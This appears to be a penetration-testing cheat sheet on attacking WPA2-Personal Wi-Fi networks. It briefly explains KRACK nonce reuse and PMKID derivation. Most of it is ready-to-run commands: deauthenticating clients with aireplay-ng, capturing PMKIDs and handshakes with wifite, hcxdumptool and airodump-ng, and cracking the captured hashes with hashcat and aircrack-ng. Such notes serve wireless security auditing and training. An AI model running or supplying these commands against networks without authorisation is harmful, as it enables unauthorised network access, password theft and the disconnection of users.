WPA2
WPA2 Personal¶
- Also known as WPA2-PSK (Pre shared key)
- Uses AES with Counter Mode Cipher Block Chaining Message Authentication Code Protocol (CCMP)
Security¶
- Must bruteforce the 4way handshake due to nonces
- Uses SSID as a salt
Deauthentication Attack
aireplay-ng mon0 -deauth 5 -a [BSSID] -c [target MAC]
Nonce Reuse¶
By retransmitting Message 3 of the 4 way handshake the IV is reset to a known (null) or reused IV.
IV reuse can be used by taking a IV from one channel and respond on a different channel.
IV reuse can be done with Reinstallation attack where Message 4 of the 4 way handshake is encrypted. Since this is prohibited by the spec the next data frame that is sent will reuse the IV.
Key Re-installation Attacks - Breaking WPA2 by forcing nonce reuse
Key Re-installation Attacks - PoC
https://blog.cryptographyengineering.com/2017/10/16/falling-through-the-kracks/
- Can replay packets because the counter is reset to 0
- Wpa supplicant refers to zeroed data for key reinstalation attacks. This makes the key all zeros
Capturing¶
PMKID with wifite¶
>>> sudo wifite
. .
.´ · . . · `. wifite2 2.7.0
: : : (¯) : : : a wireless auditor by derv82
`. · ` /¯\ ´ · .´ maintained by kimocoder
` /¯¯¯\ ´ https://github.com/kimocoder/wifite2
[+] Using wlan0mon already in monitor mode
[...]
[+] Select target(s) (1-63) separated by commas, dashes or all: all
[+] (1/63) Starting attacks against {REMOVED_SSID} (ESSID unknown)
[+] unknown (99db) PMKID CAPTURE: Waiting for PMKID (4m6s)
PMKID¶
PMKID is an ID that is sent out every couple of minuets which is a SHA1-HMAC of PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
. The only Unknown is the PMK
which can be calculated with a PBKDF PMK = PBKDF2(Passphrase, SSID, 4096)
Note
install the XXXXX, packages
Capture and Break hash:
#Get PCAP Info
hcxdumptool -w test.pcap
#Extract Hashes from pcap
hcxpcapngtool -o hcx_hashes test.pcap
#Crack with hashcat
#hashcat -m 22000 -a 3 hcx_hashes ?d?d?d?d?d?d?d?d
#Convert hashcat to john
hcxhashtool -i hcx_hashes --john hcx_john
Capturing the 4way handshake (Old way)¶
Capture Handshake:
#Start Monitor mode
>>> sudo airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7265 (rev 59)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
#Capture on monitor interface
sudo airodump-ng wlan0mon
#Capture specific Accesspoint to File
sudo airodump-ng --bssid <Hardware Address of Access Point> -c <Channel> --write <Output File> wlan0mon
#Capture all AP to file
Crack with Hashcat:
#Convert capture file
cap2hccapx capture-01.cap capturefile-01.hccapx
#Cracking time
hashcat64 -m 2500 -a 3 -1 ?d -o cracked capturefile-01.hccapx 555?1?1?1?1?1?1?1
Cracking¶
To crack WPA/WPA2 from airolib-ng database
aircrack-ng -e <essid> -r <database> <.cap or .ivs file(s)>
To crack WPA/WPA2 from a wordlist
aircrack-ng -e <essid> -w <wordlist> <.cap or .ivs file(s)>`
To crack a given bssid
aircrack-ng -b <bssid> -l <output file> <.cap or .ivs file(s)>`
To crack a given bssid using FMS/Korek method
aircrack-ng -K -b <bssid> <.cap or .ivs file(s)>`